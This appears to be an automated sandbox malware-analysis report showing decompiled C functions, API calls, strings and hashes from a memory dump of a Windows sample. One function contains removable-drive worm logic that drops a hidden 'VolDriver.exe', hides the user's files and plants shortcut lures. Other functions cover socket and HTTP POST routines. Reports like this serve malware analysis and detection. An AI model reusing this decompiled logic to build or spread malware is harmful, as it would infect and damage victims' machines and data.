Function 00404C50 Relevance: 1.3, APIs: 1, Instructions: 32
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404C50(signed int _a4, signed int _a8, WCHAR* _a12) {
				intOrPtr _v8;
				short _v12;
				short _v14;
				short _v16;
				intOrPtr _t19;

				_v8 = 0;
				if((0x00000001 << _a8 & _a4) != 0) {
					_v16 = _a8 + 0x41;
					_v14 = 0x3a;
					_v12 = 0;
					_t19 = E00404BD0( &_v16); // executed
					_v8 = _t19;
					if(_v8 != 0) {
						lstrcpyW(_a12,  &_v16);
					}
				}
				return _v8;
			}

0x00404c56
0x00404c6a
0x00404c73
0x00404c7c
0x00404c82
0x00404c8a
0x00404c92
0x00404c99
0x00404ca3
0x00404ca3
0x00404c99
0x00404caf

APIs

Part of subcall function 00404BD0: GetDriveTypeW.KERNEL32(00404C8F), ref: 00404BDD

lstrcpyW.KERNEL32(?,?), ref: 00404CA3

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: DriveTypelstrcpy
String ID:
API String ID: 3664088370-0
Opcode ID: 5c1b802fed5d27a04b731afbfdc2cdc6cefb815656cd03d913ebe8fa5bad7445
Instruction ID: 3d15221f2b1890d5ea938591d52715cbb4e61c159d86d38231b8877091be5420
Opcode Fuzzy Hash: 5c1b802fed5d27a04b731afbfdc2cdc6cefb815656cd03d913ebe8fa5bad7445
Instruction Fuzzy Hash: A8F090B5D00208FBDB00DFA4D8557DEB7B4EF44308F00C4A9E818AB380E239AB18CB49

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404FC0 Relevance: 75.5, APIs: 32, Strings: 11, Instructions: 293
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404FC0(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16) {
				short _v524;
				short _v1044;
				short _v1564;
				short _v2084;
				intOrPtr _v2088;
				short _v2612;
				short _v3132;
				char _v3133;
				struct _WIN32_FIND_DATAW _v3732;
				short _v4252;
				void* _v4256;
				short _v4780;
				intOrPtr _v4784;
				WCHAR* _v4788;
				WCHAR* _v4792;
				WCHAR* _v4796;
				WCHAR* _v4800;
				WCHAR* _v4804;
				intOrPtr _v4808;
				WCHAR* _v4812;
				WCHAR* _v4816;
				WCHAR* _v4820;
				WCHAR* _v4824;
				WCHAR* _v4828;
				WCHAR* _v4832;
				WCHAR* _v4836;
				WCHAR* _v4840;
				WCHAR* _v4844;
				WCHAR* _v4848;
				WCHAR* _v4852;
				WCHAR* _v4856;
				WCHAR* _v4860;
				signed char _v4861;
				signed char _v4862;
				signed int _v4868;
				signed int _v4872;
				intOrPtr _t167;
				intOrPtr _t195;
				void* _t218;
				void* _t219;
				void* _t224;

				L0040EE0A();
				if((_a12 & 0x00080000) != 0) {
					return 0;
				}
				_v2088 = 0x415124;
				_v3133 = 0;
				wsprintfW( &_v1564, L"%s.lnk", _a8);
				wsprintfW( &_v4252, L"%s\\%s", _a4, _v2088);
				wsprintfW( &_v4780, L"%s\\%s\\VolDriver.exe", _a4, _v2088);
				wsprintfW( &_v2612, L"%s\\%s", _a4,  &_v1564);
				wsprintfW( &_v1044, L"%s\\*", _a4);
				_t224 = _t219 + 0x48;
				if(PathFileExistsW( &_v4780) != 0) {
					_t167 = E0040D180( &_v4780);
					_t224 = _t224 + 4;
					_v4784 = _t167;
					_t195 =  *0x4163b8; // 0x13c00
					if(_t195 != _v4784) {
						SetFileAttributesW( &_v4780, 0x80);
						DeleteFileW( &_v4780);
					}
				}
				if(PathFileExistsW( &_v4780) == 0) {
					if(PathFileExistsW( &_v4252) == 0 && CreateDirectoryW( &_v4252, 0) != 0) {
						SetFileAttributesW( &_v4252, 2);
					}
					if(PathFileExistsW( &_v4252) != 0 && CopyFileW(0x4163c0,  &_v4780, 0) != 0) {
						SetFileAttributesW( &_v4780, 2);
					}
				}
				if(PathFileExistsW( &_v2612) == 0) {
					if((_a16 & 0x000000ff) == 0) {
						E00404D70( &_v2612, L"shell32.dll", 8);
						_t224 = _t224 + 0xc;
					} else {
						E00404D70( &_v2612, L"shell32.dll", 9);
						_t224 = _t224 + 0xc;
					}
					SetFileAttributesW( &_v2612, 1);
				}
				_v4256 = FindFirstFileW( &_v1044,  &_v3732);
				if(_v4256 == 0xffffffff) {
					L45:
					return _v3133;
				} else {
					_v4860 = L"*.lnk";
					_v4856 = L"*.vbs";
					_v4852 = L"*.js";
					_v4848 = L"*.scr";
					_v4844 = L"*.com";
					_v4840 = L"*.jse";
					_v4836 = L"*.cmd";
					_v4832 = L"*.pif";
					_v4828 = L"*.jar";
					_v4824 = L"*.dll";
					_v4820 = L"*.vbe";
					_v4816 = L"*.bat";
					_v4812 = L"*.inf";
					_v4808 = _v2088;
					_v4804 =  &_v1564;
					_v4800 = L"Thumbs.db";
					_v4796 = L"$RECYCLE.BIN";
					_v4792 = L"desktop.ini";
					_v4788 = L"System Volume Information";
					do {
						if(lstrcmpW( &(_v3732.cFileName), ".") != 0 && lstrcmpW( &(_v3732.cFileName), L"..") != 0) {
							_v4862 = 0;
							_v4868 = 0;
							while(_v4868 < 6) {
								if(lstrcmpiW( &(_v3732.cFileName),  *(_t218 + _v4868 * 4 - 0x12c4)) == 0) {
									_v4862 = 1;
									break;
								}
								_v4868 = _v4868 + 1;
							}
							if((_v4862 & 0x000000ff) == 0) {
								_v4861 = 0;
								_v4872 = 0;
								while(_v4872 < 0xd) {
									if(PathMatchSpecW( &(_v3732.cFileName),  *(_t218 + _v4872 * 4 - 0x12f8)) != 0) {
										wsprintfW( &_v2084, L"%s\\%s", _a4,  &(_v3732.cFileName));
										_t224 = _t224 + 0x10;
										SetFileAttributesW( &_v2084, 0x80);
										DeleteFileW( &_v2084);
										_v4861 = 1;
										break;
									}
									_v4872 = _v4872 + 1;
								}
								if((_v4861 & 0x000000ff) == 0) {
									if(PathFileExistsW( &_v4252) != 0) {
										wsprintfW( &_v3132, L"%s\\%s", _a4,  &(_v3732.cFileName));
										wsprintfW( &_v524, L"%s\\%s\\%s", _a4, _v2088,  &(_v3732.cFileName));
										_t224 = _t224 + 0x24;
										if((_v3732.dwFileAttributes & 0x00000010) == 0) {
											MoveFileExW( &_v3132,  &_v524, 9);
										} else {
											E00404E80( &_v3132,  &_v524);
											_t224 = _t224 + 8;
										}
									}
								}
								goto L43;
							}
						}
						L43:
					} while (FindNextFileW(_v4256,  &_v3732) != 0);
					FindClose(_v4256);
					goto L45;
				}
			}

APIs

_chkstk.NTDLL(?,00405610,?,?,?), ref: 00404FC8
wsprintfW.USER32 ref: 00404FFF
wsprintfW.USER32 ref: 0040501F
wsprintfW.USER32 ref: 0040503F
wsprintfW.USER32 ref: 0040505F
wsprintfW.USER32 ref: 00405078
PathFileExistsW.SHLWAPI(?), ref: 00405088
SetFileAttributesW.KERNEL32(?,00000080), ref: 004050C1
DeleteFileW.KERNEL32(?), ref: 004050CE
PathFileExistsW.SHLWAPI(?), ref: 004050DB
PathFileExistsW.SHLWAPI(?), ref: 004050EC
CreateDirectoryW.KERNEL32(?,00000000), ref: 004050FF
SetFileAttributesW.KERNEL32(?,00000002), ref: 00405112
PathFileExistsW.SHLWAPI(?), ref: 0040511F
CopyFileW.KERNEL32(004163C0,?,00000000), ref: 00405137
SetFileAttributesW.KERNEL32(?,00000002), ref: 0040514A

Strings

shell32.dll, xrefs: 0040516B
%s\%s, xrefs: 0040537E
%s.lnk, xrefs: 00404FF3
%s\%s\%s, xrefs: 00405418
%s\*, xrefs: 0040506C
%s\%s, xrefs: 00405013
%s\%s\VolDriver.exe, xrefs: 00405033
shell32.dll, xrefs: 00405183
$QA, xrefs: 00404FDE
%s\%s, xrefs: 00405053
%s\%s, xrefs: 004053F1

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: File$wsprintf$ExistsPath$Attributes$CopyCreateDeleteDirectory_chkstk
String ID: $QA$%s.lnk$%s\%s$%s\%s$%s\%s$%s\%s$%s\%s\%s$%s\%s\VolDriver.exe$%s\*$shell32.dll$shell32.dll
API String ID: 3833403615-723921974
Opcode ID: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction ID: f358d4f12602216a8cf7219611423f3e74dfa0c58bc439e6418ed54077a909fe
Opcode Fuzzy Hash: bc23619f8dc30859a07966784ca3ed239acb01018f2188f41b04a5a3b5a0ba6e
Instruction Fuzzy Hash: 2DD18175900218ABCB20DF60DC48FEA77B8FF44305F0485EAE609A6291D7B99BD4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00404E80 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404E80(WCHAR* _a4, char _a8) {
				short _v524;
				struct _WIN32_FIND_DATAW _v1116;
				void* _v1120;
				short _v1644;
				short _v2164;
				void* _t29;
				void* _t60;
				void* _t61;

				_t1 =  &_a8; // 0x40544b
				CreateDirectoryW( *_t1, 0);
				wsprintfW( &_v524, L"%s\\*", _a4);
				_t61 = _t60 + 0xc;
				_t29 = FindFirstFileW( &_v524,  &_v1116);
				_v1120 = _t29;
				if(_v1120 == 0xffffffff) {
					return _t29;
				} else {
					goto L1;
				}
				do {
					L1:
					if(lstrcmpW( &(_v1116.cFileName), ".") != 0 && lstrcmpW( &(_v1116.cFileName), L"..") != 0) {
						wsprintfW( &_v1644, L"%s\\%s", _a4,  &(_v1116.cFileName));
						_t14 =  &_a8; // 0x40544b
						wsprintfW( &_v2164, L"%s\\%s",  *_t14,  &(_v1116.cFileName));
						_t61 = _t61 + 0x20;
						if((_v1116.dwFileAttributes & 0x00000010) == 0) {
							MoveFileExW( &_v1644,  &_v2164, 9);
						} else {
							E00404E80( &_v1644,  &_v2164);
							_t61 = _t61 + 8;
						}
					}
				} while (FindNextFileW(_v1120,  &_v1116) != 0);
				FindClose(_v1120);
				return RemoveDirectoryW(_a4);
			}

APIs

CreateDirectoryW.KERNEL32(KT@,00000000), ref: 00404E8F
wsprintfW.USER32 ref: 00404EA5
FindFirstFileW.KERNEL32(?,?), ref: 00404EBC
lstrcmpW.KERNEL32(?,0041160C), ref: 00404EE1
lstrcmpW.KERNEL32(?,00411610), ref: 00404EF7
wsprintfW.USER32 ref: 00404F1A
wsprintfW.USER32 ref: 00404F3A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00404F76
FindNextFileW.KERNEL32(000000FF,?), ref: 00404F8A
FindClose.KERNEL32(000000FF), ref: 00404F9F
RemoveDirectoryW.KERNEL32(?), ref: 00404FA9

Strings

%s\%s, xrefs: 00404F0E
%s\*, xrefs: 00404E99
KT@, xrefs: 00404E8B, 00404F2A, 00404E8E, 00404F2D
%s\%s, xrefs: 00404F2E

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$KT@
API String ID: 92872011-1718218466
Opcode ID: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction ID: f84c23499f796ae609c643b61d0d113fdbb715ac4c7aa211f5e11142a609d372
Opcode Fuzzy Hash: 4e32471b6f213224bbe50e7f945d3dfc794eb29b83275571e89e3b03adfc3a4e
Instruction Fuzzy Hash: 553145B5500218ABCB10DFA0DC88FDA7778BB88301F0085A9F709A6195DB79DAC4CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040B540 Relevance: 9.1, APIs: 6, Instructions: 67
sleepnetworkCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040B540(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t38;
				intOrPtr _t43;

				_v12 = _a16;
				if(_a16 != 0xffffffff) {
					_v12 = GetTickCount() + _v12;
				}
				_v8 = _a8;
				while(1) {
					_v16 = 0;
					_t38 = _a4;
					__imp__#10(_t38, 0x4004667f,  &_v16);
					if(_t38 == 0xffffffff) {
						break;
					}
					if(_v16 > 0) {
						if(_v16 >= _a12) {
							_v24 = _a12;
						} else {
							_v24 = _v16;
						}
						_t43 = _a4;
						__imp__#16(_t43, _v8, _v24, 0);
						_v20 = _t43;
						if(_v20 > 0) {
							if(_a16 != 0xffffffff) {
								_v12 = GetTickCount() + _a16;
							}
							_a12 = _a12 - _v20;
							_v8 = _v8 + _v20;
						}
					}
					Sleep(1);
					if(GetTickCount() > _v12 || _a12 == 0) {
						L15:
						return 0 | _a12 == 0x00000000;
					} else {
						continue;
					}
				}
				goto L15;
			}

APIs

GetTickCount.KERNEL32 ref: 0040B552
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040B578
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040B5AF
GetTickCount.KERNEL32 ref: 0040B5C4
Sleep.KERNEL32(00000001), ref: 0040B5E4
GetTickCount.KERNEL32 ref: 0040B5EA

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction ID: 64461f39ab81653a4184227da93eab0719a9ebb5afb4910718686698f9d98f64
Opcode Fuzzy Hash: 3dbc88ac5e59e45bbdcf572904d8cc1d56ccf512b654b7b3376d83b26deadee6
Instruction Fuzzy Hash: 7131EF74900209EFCB14DFA4DD48AEE7BB5FF48315F1086AAE825A3290D7749A50CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E400 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138
networksynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040E400(intOrPtr* _a4) {
				intOrPtr _v64;
				char _v68;
				long _v72;
				signed char _v80;
				long _v92;
				char _v96;
				char _v100;
				void* __ebx;
				void* __edi;
				void* __ebp;
				long _t31;
				long _t33;
				long _t34;
				long _t42;
				intOrPtr _t49;
				intOrPtr* _t56;
				intOrPtr _t70;
				intOrPtr* _t73;
				long _t74;
				intOrPtr _t75;
				struct _CRITICAL_SECTION* _t76;
				intOrPtr* _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t81 = (_t79 & 0xfffffff8) - 0x44;
				_t31 = GetTickCount();
				_t56 = _a4;
				_v72 = _t31;
				_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				if(_t33 == 0) {
					L25:
					return _t33;
				} else {
					goto L1;
				}
				do {
					L1:
					_t73 = _t56 + 0x18;
					__imp__WSAWaitForMultipleEvents(1, _t73, 0, 0, 0);
					if(_t33 != 0x102) {
						__imp__WSAEnumNetworkEvents( *((intOrPtr*)(_t56 + 0x14)),  *_t73,  &_v68);
						if((_v80 & 0x00000008) != 0 && _v64 == 0 &&  *_t56 == 0x494f4350) {
							_t49 =  *((intOrPtr*)(_t56 + 0x14));
							_v100 = 0x10;
							__imp__#1(_t49,  &_v96,  &_v100);
							if(_t49 != 0xffffffff) {
								_t77 = E0040DF90(_t56, _t49);
								_t81 = _t81 + 4;
								if(_t77 != 0) {
									_t15 = _t77 + 0x264; // 0x264
									E0040E220(0, _t77, _t56, _t15);
									_t81 = _t81 + 8;
									if( *((char*)(_t77 + 0x274)) == 0 &&  *_t77 == 0x69636c69) {
										E0040E7D0(_t77);
									}
								}
							}
						}
					}
					_t34 = GetTickCount();
					_t74 = _v92;
					if(_t34 - _t74 < 0x3e8) {
						if(GetTickCount() - _t74 < 0x2710) {
							goto L24;
						}
						EnterCriticalSection(_t56 + 0x20);
						_t75 =  *((intOrPtr*)(_t56 + 0x38));
						if(_t75 == 0) {
							L23:
							LeaveCriticalSection(_t56 + 0x20);
							_v92 = GetTickCount();
							goto L24;
						} else {
							goto L19;
						}
						do {
							L19:
							_t42 = InterlockedExchangeAdd(_t75 + 4, 0);
							if(E0040BE60() - _t42 >= 0x1e) {
								_t45 =  *((intOrPtr*)(_t75 + 0x260));
								if( *((intOrPtr*)(_t75 + 0x260)) != 0xffffffff) {
									E00409600(_t45);
									_t81 = _t81 + 4;
									 *((intOrPtr*)(_t75 + 0x260)) = 0xffffffff;
								}
							}
							_t75 =  *((intOrPtr*)(_t75 + 0x280));
						} while (_t75 != 0);
						goto L23;
					}
					_t76 = _t56 + 0x20;
					EnterCriticalSection(_t76);
					_t70 =  *((intOrPtr*)(_t56 + 0x38));
					if(_t70 == 0) {
						L16:
						LeaveCriticalSection(_t76);
						goto L24;
					}
					while( *((intOrPtr*)(_t70 + 0x260)) != 0xffffffff) {
						_t70 =  *((intOrPtr*)(_t70 + 0x280));
						if(_t70 != 0) {
							continue;
						} else {
							LeaveCriticalSection(_t76);
							goto L24;
						}
					}
					E0040E300(_t56, _t70, _t78);
					goto L16;
					L24:
					_t33 = WaitForSingleObject( *(_t56 + 0x10), 1);
				} while (_t33 != 0);
				goto L25;
			}

APIs

GetTickCount.KERNEL32 ref: 0040E40C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E41F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 0040E439
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 0040E456
accept.WS2_32(?,?,?), ref: 0040E488
GetTickCount.KERNEL32 ref: 0040E4D6
EnterCriticalSection.KERNEL32(?), ref: 0040E4E9
LeaveCriticalSection.KERNEL32(?), ref: 0040E50A
LeaveCriticalSection.KERNEL32(?), ref: 0040E51B
GetTickCount.KERNEL32 ref: 0040E523
EnterCriticalSection.KERNEL32(?), ref: 0040E532
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E545
LeaveCriticalSection.KERNEL32(?), ref: 0040E585
GetTickCount.KERNEL32 ref: 0040E58B
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040E59B

Strings

ilci, xrefs: 0040E4C1
PCOI, xrefs: 0040E46A

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: e061771aa0f445f024457eb283919c0dbd6c06df5abae74199e20b4c22fa87b5
Instruction ID: 917b59bc2a3588b9956fd89eac52db2b1e6dcbcc9db4fe113c03d7dfd46bf168
Opcode Fuzzy Hash: e061771aa0f445f024457eb283919c0dbd6c06df5abae74199e20b4c22fa87b5
Instruction Fuzzy Hash: 29413671500200ABCB209F75DC8CB9B77A9AF44714F048E3EF955A72C1EB78E891CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040CD60 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040CD60(char* _a4, char* _a8, void* _a12, long* _a16) {
				char _v260;
				char _v772;
				char* _v776;
				void* _v780;
				intOrPtr _v792;
				char* _v796;
				signed short _v816;
				intOrPtr _v820;
				char* _v824;
				void _v836;
				void* _v840;
				void* _v844;
				void* _v848;
				char* _v852;
				long _v856;
				void _v1884;
				long _v1888;
				void* _t102;
				void* _t103;

				_v776 = 0;
				_v840 = 0;
				memset( &_v836, 0, 0x38);
				_t103 = _t102 + 0xc;
				_v840 = 0x3c;
				_v824 =  &_v260;
				_v820 = 0x100;
				_v796 =  &_v772;
				_v792 = 0x200;
				InternetCrackUrlA(_a4, 0, 0x10000000,  &_v840);
				_v780 = InternetOpenA("Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)", 1, 0, 0, 0);
				if(_v780 != 0) {
					_v844 = InternetConnectA(_v780,  &_v260, _v816 & 0x0000ffff, 0, 0, 3, 0, 0);
					if(_v844 != 0) {
						_v848 = HttpOpenRequestA(_v844, "POST",  &_v772, 0, 0, 0, 0, 0);
						if(_v848 != 0) {
							HttpAddRequestHeadersA(_v848, _a8, 0xffffffff, 0xa0000000);
							_v852 = "Content-Type: text/xml; charset=\"utf-8\"\r\nConnection: Close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n";
							if(HttpSendRequestA(_v848, _v852, 0xffffffff, _a12,  *_a16) != 0) {
								_v856 = 0;
								while(1 != 0) {
									_t98 = _v848;
									if(InternetReadFile(_v848,  &_v1884, 0x400,  &_v1888) != 0 && _v1888 != 0) {
										_v776 = E00408B60(_v776, _t98, _v776, _v856 + _v1888);
										memcpy( &(_v776[_v856]),  &_v1884, _v1888);
										_t103 = _t103 + 0x14;
										_v856 = _v856 + _v1888;
										continue;
									}
									break;
								}
								 *_a16 = _v856;
							}
							InternetCloseHandle(_v848);
						}
						InternetCloseHandle(_v844);
					}
					InternetCloseHandle(_v780);
				}
				return _v776;
			}

APIs

memset.NTDLL ref: 0040CD88
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040CDD8
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040CDEB
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040CE24
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040CE5A
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040CE85
HttpSendRequestA.WININET(00000000,004108D0,000000FF,00009E34), ref: 0040CEAF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040CEEE
memcpy.NTDLL(00000000,?,00000000), ref: 0040CF40
InternetCloseHandle.WININET(00000000), ref: 0040CF71
InternetCloseHandle.WININET(00000000), ref: 0040CF7E
InternetCloseHandle.WININET(00000000), ref: 0040CF8B

Strings

<, xrefs: 0040CD90
Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040CDE6
POST, xrefs: 0040CE4E

Memory Dump Source

Source File: 00000002.00000002.2483944111.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2483895432.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484101200.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484174390.0000000000414000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484226297.0000000000415000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2484269042.0000000000416000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_ sysesvcmw.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction ID: ea500a29b1865390ea74af70c7a13144c6f50436d918f4b951375f33d6e11f24
Opcode Fuzzy Hash: c6376e83d60c8fd7847bc7aaada5821a3adf07af9ef20e77e1c46dfbd3437302
Instruction Fuzzy Hash: 0A512CB5900228ABDB26DF54CC94BD973BDAB48705F1081E9B60DA62C0C7B86FC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040E0E0 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 93
networkCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E0E0(intOrPtr* __edi) {
				void* __esi;
				void* _t25;
				long _t40;
				intOrPtr* _t53;
				intOrPtr* _t55;
				void* _t56;
				LONG* _t62;

				_t53 = __edi;
				if(__edi == 0 ||  *__edi != 0x494f4350) {
					return _t25;
				} else {
					_t1 = _t53 + 0x20; // 0x20
					EnterCriticalSection(_t1);
					_t55 =  *((intOrPtr*)(__edi + 0x38));
					if(_t55 == 0) {
						L11:
						_t13 = _t53 + 0x20; // 0x20
						LeaveCriticalSection(_t13);
						SetEvent( *(_t53 + 0x10));
						_t56 = 0;
						if( *((intOrPtr*)(_t53 + 4)) <= 0) {
							L14:
							E0040BC90( *((intOrPtr*)(_t53 + 0xc)), 0xffffffff);
							E0040BDD0( *((intOrPtr*)(_t53 + 0xc)));
							CloseHandle( *(_t53 + 8));
							CloseHandle( *(_t53 + 0x10));
							__imp__WSACloseEvent( *((intOrPtr*)(_t53 + 0x18)));
							E00409600( *((intOrPtr*)(_t53 + 0x14)));
							_t24 = _t53 + 0x20; // 0x20
							DeleteCriticalSection(_t24);
							return E00408C70(_t53);
						}
						do {
							PostQueuedCompletionStatus( *(_t53 + 8), 0, 0, 0);
							_t56 = _t56 + 1;
						} while (_t56 <  *((intOrPtr*)(_t53 + 4)));
						goto L14;
					} else {
						goto L3;
					}
					do {
						L3:
						if( *_t55 == 0x69636c69) {
							if( *((char*)(_t55 + 0x275)) == 0) {
								_t62 = _t55 + 0x21c;
								_t40 = InterlockedExchangeAdd(_t62, 0);
								if(_t40 == 0) {
									 *(_t55 + 0x230) = _t40;
									 *((intOrPtr*)(_t55 + 0x220)) = 1;
									 *((intOrPtr*)(_t55 + 0x228)) = _t55 + 8;
									 *((intOrPtr*)(_t55 + 0x22c)) = 0x200;
									InterlockedIncrement(_t62);
									if(E0040E730(_t55) == 0) {
										InterlockedDecrement(_t62);
									}
								}
							}
						}
						_t55 =  *((intOrPtr*)(_t55 + 0x280));
					} while (_t55 != 0);
					goto L11;
				}
			}

APIs

EnterCriticalSection.KERNEL32(00000020,0040B950,?,0040EC84), ref: 0040E0FA
InterlockedDecrement.KERNEL32(?), ref: 0040E126
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 0040E13E
InterlockedIncrement.KERNEL32(?), ref: 0040E16C
InterlockedDecrement.KERNEL32(?), ref: 0040E17C
LeaveCriticalSection.KERNEL32(00000020,?,0040EC84), ref: 0040E194
SetEvent.KERNEL32(?,?,0040EC84), ref: 0040E19E
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,0040EC84), ref: 0040E1BB
CloseHandle.KERNEL32(?,?,?,0040EC84), ref: 0040E1E4
CloseHandle.KERNEL32(?,?,?,0040EC84), ref: 0040E1EA
WSACloseEvent.WS2_32(?), ref: 0040E1F0
